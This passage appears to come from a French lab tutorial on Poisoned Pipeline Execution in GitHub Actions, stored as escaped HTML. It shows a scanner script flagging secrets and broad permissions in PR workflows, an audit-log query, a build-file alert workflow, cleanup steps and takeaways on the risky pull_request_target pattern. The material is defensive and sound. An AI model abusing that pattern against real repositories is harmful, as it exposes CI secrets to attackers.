\"$file\"; then\n if grep -q \"\\${{ secrets\\.\" \"$file\"; then\n echo \"[\u00c9LEV\u00c9] $file: Secrets r\u00e9f\u00e9renc\u00e9s dans un workflow PR\"\n echo \" Les secrets ne devraient pas \u00eatre disponibles dans les workflows d\u00e9clench\u00e9s par PR.\"\n EXIT_CODE=1\n fi\n fi\ndone\n\n# V\u00e9rification 4 : Permissions trop larges\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n [ -f \"$file\" ] || continue\n\n if grep -q \"pull_request\" \"$file\"; then\n if grep -q \"permissions: write-all\" \"$file\" || ! grep -q \"permissions:\" \"$file\"; then\n echo \"[MOYEN] $file: Workflow PR avec des permissions larges ou non d\u00e9finies\"\n echo \" Ajoutez explicitement 'permissions: {}' ou des port\u00e9es minimales.\"\n fi\n fi\ndone\n\necho \"\"\nif [ $EXIT_CODE -eq 0 ]; then\n echo \"Aucun risque PPE critique d\u00e9tect\u00e9.\"\nelse\n echo \"Risques PPE critiques trouv\u00e9s. Examinez les r\u00e9sultats ci-dessus.\"\nfi\n\nexit $EXIT_CODE\n<\/code><\/pre>\nSurveillance du journal d’audit GitHub<\/h3>\n
# Interroger le journal d'audit pour les modifications de fichiers workflow\ngh api \\\n -H \"Accept: application\/vnd.github+json\" \\\n \/orgs\/{org}\/audit-log?phrase=action:workflows \\\n --paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'\n<\/code><\/pre>\nRevue automatis\u00e9e des PR pour les modifications de fichiers de build<\/h3>\n
name: Build File Change Alert\n\non:\n pull_request:\n paths:\n - 'Makefile'\n - 'Dockerfile'\n - '**\/*.sh'\n - 'package.json'\n - '.github\/workflows\/**'\n\njobs:\n alert:\n runs-on: ubuntu-latest\n permissions:\n pull-requests: write\n steps:\n - name: Comment warning\n uses: actions\/github-script@v7\n with:\n script: |\n await github.rest.issues.createComment({\n owner: context.repo.owner,\n repo: context.repo.repo,\n issue_number: context.issue.number,\n body: '\u26a0\ufe0f **Modification de fichier de build d\u00e9tect\u00e9e**\\n\\nCette PR modifie des fichiers critiques du build. Une revue de l'\u00e9quipe s\u00e9curit\u00e9 est requise avant la fusion.\\n\\nChemins d\u00e9clencheurs : Makefile, Dockerfile, scripts shell, package.json ou fichiers workflow.'\n });\n<\/code><\/pre>\nNettoyage<\/h2>\n
\n
ppe-lab-victim<\/code>.<\/li>\nMY_SECRET<\/code> si le d\u00e9p\u00f4t existe encore.<\/li>\n<\/ol>\nPoints cl\u00e9s \u00e0 retenir<\/h2>\n
\n
pull_request<\/code> est s\u00fbr contre le D-PPE<\/strong> car il ex\u00e9cute le workflow depuis la branche de base, pas la branche PR.<\/li>\npull_request_target<\/code> + checkout du head de la PR est le pattern le plus dangereux<\/strong> dans GitHub Actions. Il donne au code de l’attaquant acc\u00e8s aux secrets et aux permissions d’\u00e9criture.<\/li>\nProchaines \u00e9tapes<\/h2>\n
\n